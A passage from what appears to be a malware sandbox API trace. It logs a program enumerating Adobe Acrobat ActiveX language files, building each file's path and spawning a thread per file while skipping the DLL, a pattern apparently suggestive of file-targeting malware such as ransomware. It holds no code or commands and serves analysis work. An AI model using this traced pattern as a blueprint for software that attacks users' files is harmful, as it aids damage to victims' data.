ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SLV", cAlternateFileName="")) returned 1 [0051.170] wcscmp (_String1="AcroPDF.SLV", _String2=".") returned 1 [0051.170] wcscmp (_String1="AcroPDF.SLV", _String2="..") returned 1 [0051.170] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439360 [0051.170] wcscpy (in: _Dest=0x439360, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.170] wcscat (in: _Dest=0x439360, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.170] wcscat (in: _Dest=0x439360, _Source="AcroPDF.SLV" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SLV") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SLV" [0051.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc44 [0051.171] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SUO", cAlternateFileName="")) returned 1 [0051.171] wcscmp (_String1="AcroPDF.SUO", _String2=".") returned 1 [0051.171] wcscmp (_String1="AcroPDF.SUO", _String2="..") returned 1 [0051.171] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4393f8 [0051.171] wcscpy (in: _Dest=0x4393f8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.171] wcscat (in: _Dest=0x4393f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.171] wcscat (in: _Dest=0x4393f8, _Source="AcroPDF.SUO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SUO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SUO" [0051.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4393f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc48 [0051.173] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SVE", cAlternateFileName="")) returned 1 [0051.173] wcscmp (_String1="AcroPDF.SVE", _String2=".") returned 1 [0051.173] wcscmp (_String1="AcroPDF.SVE", _String2="..") returned 1 [0051.173] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439490 [0051.173] wcscpy (in: _Dest=0x439490, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.173] wcscat (in: _Dest=0x439490, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.173] wcscat (in: _Dest=0x439490, _Source="AcroPDF.SVE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SVE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SVE" [0051.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4c [0051.174] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.TUR", cAlternateFileName="")) returned 1 [0051.174] wcscmp (_String1="AcroPDF.TUR", _String2=".") returned 1 [0051.174] wcscmp (_String1="AcroPDF.TUR", _String2="..") returned 1 [0051.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439528 [0051.174] wcscpy (in: _Dest=0x439528, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.174] wcscat (in: _Dest=0x439528, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.174] wcscat (in: _Dest=0x439528, _Source="AcroPDF.TUR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.TUR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.TUR" [0051.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc50 [0051.175] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.UKR", cAlternateFileName="")) returned 1 [0051.175] wcscmp (_String1="AcroPDF.UKR", _String2=".") returned 1 [0051.175] wcscmp (_String1="AcroPDF.UKR", _String2="..") returned 1 [0051.175] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4395c0 [0051.175] wcscpy (in: _Dest=0x4395c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.175] wcscat (in: _Dest=0x4395c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.175] wcscat (in: _Dest=0x4395c0, _Source="AcroPDF.UKR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.UKR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.UKR" [0051.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4395c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc54 [0051.177] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CAT", cAlternateFileName="")) returned 1 [0051.177] wcscmp (_String1="PDFShell.CAT", _String2=".") returned 1 [0051.177] wcscmp (_String1="PDFShell.CAT", _String2="..") returned 1 [0051.177] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x439658 [0051.177] wcscpy (in: _Dest=0x439658, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.177] wcscat (in: _Dest=0x439658, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.177] wcscat (in: _Dest=0x439658, _Source="PDFShell.CAT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT" [0051.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc58 [0051.436] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CHS", cAlternateFileName="")) returned 1 [0051.437] wcscmp (_String1="PDFShell.CHS", _String2=".") returned 1 [0051.437] wcscmp (_String1="PDFShell.CHS", _String2="..") returned 1 [0051.437] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x439950 [0051.437] wcscpy (in: _Dest=0x439950, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.437] wcscat (in: _Dest=0x439950, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.437] wcscat (in: _Dest=0x439950, _Source="PDFShell.CHS" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS" [0057.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf84 [0057.853] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CHT", cAlternateFileName="")) returned 1 [0057.853] wcscmp (_String1="PDFShell.CHT", _String2=".") returned 1 [0057.853] wcscmp (_String1="PDFShell.CHT", _String2="..") returned 1 [0057.853] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x4380f8 [0057.853] wcscpy (in: _Dest=0x4380f8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0057.853] wcscat (in: _Dest=0x4380f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0057.853] wcscat (in: _Dest=0x4380f8, _Source="PDFShell.CHT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT" [0057.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4380f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb78 [0057.854] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CZE", cAlternateFileName="")) returned 1 [0057.854] wcscmp (_String1="PDFShell.CZE", _String2=".") returned 1 [0057.855] wcscmp (_String1="PDFShell.CZE", _String2="..") returned 1 [0057.855] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x438ea0 [0057.855] wcscpy (in: _Dest=0x438ea0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0057.855] wcscat (in: _Dest=0x438ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0057.855] wcscat (in: _Dest=0x438ea0, _Source="PDFShell.CZE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CZE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CZE" [0057.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0057.856] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.DAN", cAlternateFileName="")) returned 1 [0057.857] wcscmp (_String1="PDFShell.DAN", _String2=".") returned 1 [0057.857] wcscmp (_String1="PDFShell.DAN", _String2="..") returned 1 [0057.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x438f38 [0057.857] wcscpy (in: _Dest=0x438f38, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0057.857] wcscat (in: _Dest=0x438f38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0057.857] wcscat (in: _Dest=0x438f38, _Source="PDFShell.DAN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DAN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DAN" [0066.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf50 [0066.784] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.DEU", cAlternateFileName="")) returned 1 [0066.784] wcscmp (_String1="PDFShell.DEU", _String2=".") returned 1 [0066.784] wcscmp (_String1="PDFShell.DEU", _String2="..") returned 1 [0066.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x4398b8 [0066.784] wcscpy (in: _Dest=0x4398b8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.784] wcscat (in: _Dest=0x4398b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.784] wcscat (in: _Dest=0x4398b8, _Source="PDFShell.DEU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DEU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DEU" [0066.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4398b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0066.785] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f598, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdfshell.dll", cAlternateFileName="")) returned 1 [0066.785] wcscmp (_String1="pdfshell.dll", _String2=".") returned 1 [0066.785] wcscmp (_String1="pdfshell.dll", _String2="..") returned 1 [0066.785] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.ESP", cAlternateFileName="")) returned 1 [0066.785] wcscmp (_String1="PDFShell.ESP", _String2=".") returned 1 [0066.786] wcscmp (_String1="PDFShell.ESP", _String2="..") returned 1 [0066.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ab8e0 [0066.786] wcscpy (in: _Dest=0x97ab8e0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.786] wcscat (in: _Dest=0x97ab8e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.786] wcscat (in: _Dest=0x97ab8e0, _Source="PDFShell.ESP" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ESP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ESP" [0066.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ab8e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950 [0066.787] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.EUQ", cAlternateFileName="")) returned 1 [0066.787] wcscmp (_String1="PDFShell.EUQ", _String2=".") returned 1 [0066.787] wcscmp (_String1="PDFShell.EUQ", _String2="..") returned 1 [0066.787] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ab978 [0066.787] wcscpy (in: _Dest=0x97ab978, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.787] wcscat (in: _Dest=0x97ab978, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.787] wcscat (in: _Dest=0x97ab978, _Source="PDFShell.EUQ" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.EUQ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.EUQ" [0066.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ab978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c [0066.788] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.FRA", cAlternateFileName="")) returned 1 [0066.788] wcscmp (_String1="PDFShell.FRA", _String2=".") returned 1 [0066.788] wcscmp (_String1="PDFShell.FRA", _String2="..") returned 1 [0066.788] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97aba10 [0066.789] wcscpy (in: _Dest=0x97aba10, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.789] wcscat (in: _Dest=0x97aba10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.789] wcscat (in: _Dest=0x97aba10, _Source="PDFShell.FRA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.FRA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.FRA" [0066.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97aba10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948 [0066.790] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.HRV", cAlternateFileName="")) returned 1 [0066.790] wcscmp (_String1="PDFShell.HRV", _String2=".") returned 1 [0066.790] wcscmp (_String1="PDFShell.HRV", _String2="..") returned 1 [0066.790] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97abaa8 [0066.790] wcscpy (in: _Dest=0x97abaa8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.790] wcscat (in: _Dest=0x97abaa8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.790] wcscat (in: _Dest=0x97abaa8, _Source="PDFShell.HRV" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HRV") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HRV" [0066.790] CreateThread (in: lpThreadAttributes=0x0, 